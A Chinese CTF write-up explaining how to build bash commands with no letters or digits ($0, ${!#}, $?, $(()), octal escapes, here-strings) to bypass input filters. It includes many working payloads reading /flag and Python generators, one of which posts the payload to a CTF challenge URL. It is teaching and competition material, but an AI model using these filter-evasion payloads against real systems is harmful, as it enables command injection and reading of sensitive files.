前言

shell变量实现RCE这种思路最早提出于2017年34c3CTF里的minbashmaxfun,随后2020安洵杯也有Web-Bash-Vino0o0o

而处理这种类型的CTF,探姬师傅有个项目是可以一把梭的:https://github.com/ProbiusOfficial/bashFuck?tab=readme-ov-file

bash的参考手册:https://www.gnu.org/software/bash/manual/bash.html

shell脚本$的用法

首先先了解下linux shell脚本中$的用法

变量名 含义
$0 脚本本身的名字
$1 脚本后所输入的第一串字符
$2 传递给该shell脚本的第二个参数
$* 脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’
$@ 脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’
$_ 表示上一个命令的最后一个参数
$# #脚本后所输入的字符串个数
$$ 脚本运行的当前进程ID号
$! 表示最后执行的后台命令的PID
$? 显示最后命令的退出状态,0表示没有错误,其他表示由错误

构造思路

打CTF时,在过滤了字母的情况下我们可以采用八进制的形式绕过,即使用**$'xxx'(xxx为字符的八进制)的形式来执行命令,如$'\154\163'表示ls**

但这有个缺陷,即**$''中命令是不能接参数的,因为整个字符串被$''包裹时,它会被当作一个整体字符串来处理,而linux没有ls /的单一命令,所以会报错**

那么应该怎么构造呢?

这里有两个思路,一是利用重定向</flag内容传递给cat执行,再输出他们执行的结果:

1
$'\143\141\164'<$'\057\146\154\141\147'

但有个缺陷就是需要知道flag文件名。所以需要另一种方法,bash<<<{......}会将大括号里的内容交给bash解析,参数用,隔开,如bash<<<{cat,/f*}bash<<<{ls,/}而bash可以用$0表示

1
2
3
4
$0<<<{$'\154\163',$'\057'}  
//bash<<<{ls,/}

$0<<<{$'\143\141\164',$'\057\146\052'} //bash<<<{cat,/f*}

如果没有参数则不用大括号,不然会报错

当然没有大括号也是能执行命令的

1
2
cat /f*
$0<<<$'\143\141\164\40\57\146\52'

通过上面的例子我们发现我们可以在数字可用的情况下进行命令执行

除此之外,在linux中$(())用于算术运算,即括号内的内容为进行运算的部分,默认情况下$(())为0

这样不就能随便构造数字了嘛,再结合**$''**来执行RCE,可以发现这样有些多此一举,但如果只能使用1或0来构造命令时它的用处就大了。

这里还有个知识点,即bash里面可以使用[bash#]n的方式表示数字,即2#100表示2进制下的100,换成10进制即4

现在知识点铺垫完了,直接开整。现在我们字母或数字只有0,1可用来进行命令执行,这时可用位移运算1<<1来代替2,payload:

1
2
3
4
5
$0<<<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'  
//ls

$0<<<{$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\',$\'\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'}
//bash<<<{cat,/flag}

但似乎不能用f*匹配了,但ls /都能执行,还怕不知道文件名嘛

但有一点需要注意的是,bash在执行命令前,会对命令进行一系列扩展(expansions),这些扩展包括花括号扩展(brace expansion)、波浪号扩展(tilde expansion)、参数和变量扩展(parameter and variable expansion)、算术扩展(arithmetic expansion)、命令替换(command substitution)、单词分割(word splitting)和文件名扩展(filename expansion)等,最重要的是这些扩展的顺序是固定的,而且是从左到右进行的。

而我们的八进制转义也就是$’\xxx\xxx’依赖于参数和变量扩展,转义后的结果是个字符串,即使用过一次bash了,由于我们本地就是bash环境,会默认解析,即输入**$'\154\163'会解析执行,而我们带参数的命令还需执行单词分割扩展**,即$'\143\141\164\40\57\146\154\141\147'时本地bash已经解析为了cat /flag字符串,但无法进行单词分隔扩展,所以会把命令当成一个整体,所以执行后会显示bash: cat /flag: 没有那个文件或目录。所以一般情况下还需要一个bash,即bash<<<$'\143\141\164\40\57\146\154\141\147'

而我们有些时候还需要进行的操作是算术扩展命令替换,所以一般除了本地解析外,还需要一个bash,即**bash<<<bash\<\<\<......**,后面会讲到

具体原理文章参考:https://www.freebuf.com/articles/system/361101.html

可用看到这种构造方式不够极限,里面不仅出现了0还出现了1,下面我们开始真正的无字母数字构造

利用$#构造

在shell中,$#表示脚本后所输入的字符串个数:

$# -参数数量-单独使用结果为0

$ -计数变量(#)长度,这里的结果为1

这里0和1都有了,那构造命令不就只用换一下嘛

1
2
$$#<<<$\'\\$(($((${##}<<${##}))#${##}$#$#${##}${##}$#${##}$#))\\$(($((${##}<<${##}))#${##}$#${##}${##}${##}$#$#$#${##}${##}))\' 
bash<<<ls

测试发现不是这样的,虽然**$0表示bash,$,在linux中${!}`表示间接引用**,举个例子:

1
2
3
4
5
6
7
1.sh:

#!/bin/bash

var1="11111"
var2="var1"
echo ${!var2}

可认为${!a}=$$a

因此我们只用找到一个值为0的变量来替换即可,而$#值恰好为0,所以**${!#}就能使用**

那么bash有了,其余的0和1换成$#$即可

1
${!#}<<<$\'\\$(($((${##}<<${##}))#${##}$#$#${##}${##}$#${##}$#))\\$(($((${##}<<${##}))#${##}$#${##}$#$#$#${##}${##}))\'

由于这里只需要进行参数和变量扩展单词分割,所以除本地解析外一个bash就够了,两个也不影响:

1
${!#}<<<${!#}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}$#$#${##}${##}$#${##}$#))\\$(($((${##}<<${##}))#${##}$#${##}$#$#$#${##}${##}))\'

注意转义,主要使用这种形式

但在有些题中有可能**${!#}这种复杂变量不能通过php的system函数解析出来**,可以换另一种形式,即变量拼接

加了$__作为过渡,减少了解析过程

payload:

1
2
__=$#;${!__}<<<${!__}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}$#$#${##}${##}$#${##}$#))\\$(($((${##}<<${##}))#${##}$#${##}$#$#$#${##}${##}))\'
//bash<<<bash<<<ls

脚本:

1
2
3
4
5
6
7
8
9
cmd='cat /flag'

payload='__=${#};${!__}<<<${!__}\\<\\<\\<\\$\\\''
for c in cmd:
payload+=f'\\\\$(($((1<<1))#{bin(int(oct(ord(c))[2:]))[2:]}))'.replace('1','${##}').replace('0','${#}')

payload+='\\\''

print(payload)

利用$?构造

其实构造时我们也发现了,只需要找到一个值为0的变量得到bash就能继续构造。而linux中$?表示最后命令的退出状况,0表示没有错误,其他表示有错,那么思路就来了,只要payload不报错值不就为0嘛

0有了,那1怎么来呢?这里就需要字符串拼接了,__=$?,那++__不就为1了嘛,令___=$((++__)),那2不就也有了嘛,把之前的payload替换一下就好了:

1
2
3
__=$?&&___=$((++__))&&____=$((++___))&&_____=$?&&${!_____}<<<$\'\\$((${____}#${__}${_____}${_____}${_____}${__}${__}${__}${__}))\\$((${____}#${__}${_____}${_____}${_____}${__}${__}${_____}${__}))\\$((${____}#${__}${_____}${__}${_____}${_____}${__}${_____}${_____}))\\$((${____}#${__}${_____}${__}${_____}${_____}${_____}))\\$((${____}#${__}${__}${__}${_____}${_____}${__}))\\$((${____}#${__}${_____}${_____}${__}${_____}${_____}${__}${_____}))\\$((${____}#${__}${_____}${_____}${__}${__}${_____}${__}${_____}))\\$((${____}#${__}${_____}${_____}${_____}${__}${__}${_____}${__}))\\$((${____}#${__}${_____}${_____}${__}${_____}${_____}${__}${__}))\'

//_____=0;____=2;__=1,bash<<<$'\143\141\164\40\57\146\154\141\147',cat /flag

这里就要注意了,上面那个是执行不了的,因为这里除了参数和变量扩展单词分割外,还存在算术扩展,所以一个bash是解析不完的,只能解析参数和变量扩展算术扩展,而单词分割没有bash解析,最后报错bash: cat /flag: 没有那个文件或目录

1
__=${?}&&___=$((++__))&&____=$((++___))&&_____=${?}&&${!_____}<<<${!_____}\<\<\<\$\'\\$((${____}#${__}${_____}${_____}${_____}${__}${__}${__}${__}))\\$((${____}#${__}${_____}${_____}${_____}${__}${__}${_____}${__}))\\$((${____}#${__}${_____}${__}${_____}${_____}${__}${_____}${_____}))\\$((${____}#${__}${_____}${__}${_____}${_____}${_____}))\\$((${____}#${__}${__}${__}${_____}${_____}${__}))\\$((${____}#${__}${_____}${_____}${__}${_____}${_____}${__}${_____}))\\$((${____}#${__}${_____}${_____}${__}${__}${_____}${__}${_____}))\\$((${____}#${__}${_____}${_____}${_____}${__}${__}${_____}${__}))\\$((${____}#${__}${_____}${_____}${__}${_____}${_____}${__}${__}))\'

这里多了个bash就能执行成功

脚本:

1
2
3
4
5
6
7
8
9
cmd='cat /flag'

payload='__=${?}&&___=$((++__))&&____=$((++___))&&_____=${?}&&${!_____}<<<${!_____}\\<\\<\\<\\$\\\''
for c in cmd:
payload+=f'\\\\$((2#{bin(int(oct(ord(c))[2:]))[2:]}))'.replace('1','${__}').replace('2','${____}').replace('0','${_____}')

payload+='\\\''

print(payload)

利用$(())构造

前面我们已经知道$(())用于算术运算,而默认$(())为0,我们尝试取反:

1
echo $((~$(())))

那对-2取反呢

这里又得到了1,linux中的取反操作时针对二进制进行的,那么现在就可以通过相加减获得数字。

比如对5取反,会将5转换成二进制00000101,再取反为11111010,1表负,反转位加1即00000101表6,即-6

根据上面的payload,我们的目的其实只用得到0,1,2,那思路不就和$?一样嘛,只用$?换成$(())即可,这里同样进行了算术扩展解析,所以需要两个bash

1
__=$(())&&___=$((++__))&&____=$((++___))&&_____=$(())&&${!_____}<<<${!_____}\<\<\<\$\'\\$((${____}#${__}${_____}${_____}${_____}${__}${__}${__}${__}))\\$((${____}#${__}${_____}${_____}${_____}${__}${__}${_____}${__}))\\$((${____}#${__}${_____}${__}${_____}${_____}${__}${_____}${_____}))\\$((${____}#${__}${_____}${__}${_____}${_____}${_____}))\\$((${____}#${__}${__}${__}${_____}${_____}${__}))\\$((${____}#${__}${_____}${_____}${__}${_____}${_____}${__}${_____}))\\$((${____}#${__}${_____}${_____}${__}${__}${_____}${__}${_____}))\\$((${____}#${__}${_____}${_____}${_____}${__}${__}${_____}${__}))\\$((${____}#${__}${_____}${_____}${__}${_____}${_____}${__}${__}))\'

说白了,只要能得到0,1,2,无论取反和自增都能得到想要的命令,下面尝试下取反:

1
2
3
4
5
0: $(())
-1: $((~$(())))
1: $((~$((~$(($(())))$((~$(())))))))
2: $(($((~$((~$(($(())))$((~$(())))))))<<$((~$((~$(($(())))$((~$(()))))))))) 1<<1
2: $((~$(($((~$(())))$((~$(())))$((~$(())))))))

上面是省略了+号后的式子,0取反为-1,-2取反为1,-3取反为2

所以把上面的式子与之前payload对应的数字换掉即可,由于需要$’\154\163’

1
2
3
4
5
6
-1:$((~$(())))
1:$((~$((~$(($(())))$((~$(())))))))
3:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
4: $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
5: $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
6: $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

即:

1
bash<<<bash\<\<\<\$\'\\$((~$((~$(($(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$((~$(($(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'

注意2个bash

然后就是利用变量拼接构造bash,payload:

1
2
__=$(());${!__}<<<${!__}\<\<\<\$\'\\$((~$((~$(($(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$((~$(($(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'
//ls

取反脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
url="http://15a309e4-9e6d-4a18-8767-7be0a1efdfa9.challenge.ctf.show/"
cmd='cat /flag'

r = {}

x='$((~$(())))'#-1

for i in range(1,9):
r[i]='$((~$(('+x
for j in range(i):
r[i]+=x
r[i]+='))))'

r[0]='$(())'

payload='__=$(())&&${!__}<<<${!__}\\<\\<\\<\\$\\\''
for c in cmd:
payload+='\\\\'
for i in oct(ord(c))[2:]:
payload+=r[int(i)]
payload+='\\\''

r=requests.post(url,data={"ctf_show":payload,})
print(r.text)

自增脚本

1
2
3
4
5
6
7
8
9
cmd='cat /flag'

payload='__=$(())&&___=$((++__))&&____=$((++___))&&_____=$(())&&${!_____}<<<${!_____}\\<\\<\\<\\$\\\''
for c in cmd:
payload+=f'\\\\$((2#{bin(int(oct(ord(c))[2:]))[2:]}))'.replace('1','${__}').replace('2','${____}').replace('0','${_____}')

payload+='\\\''

print(payload)

自增需要抓包后url编码传参

参考

利用shell脚本变量构造无字母数字命令

【bashfuck】bashshell无字母命令执行原理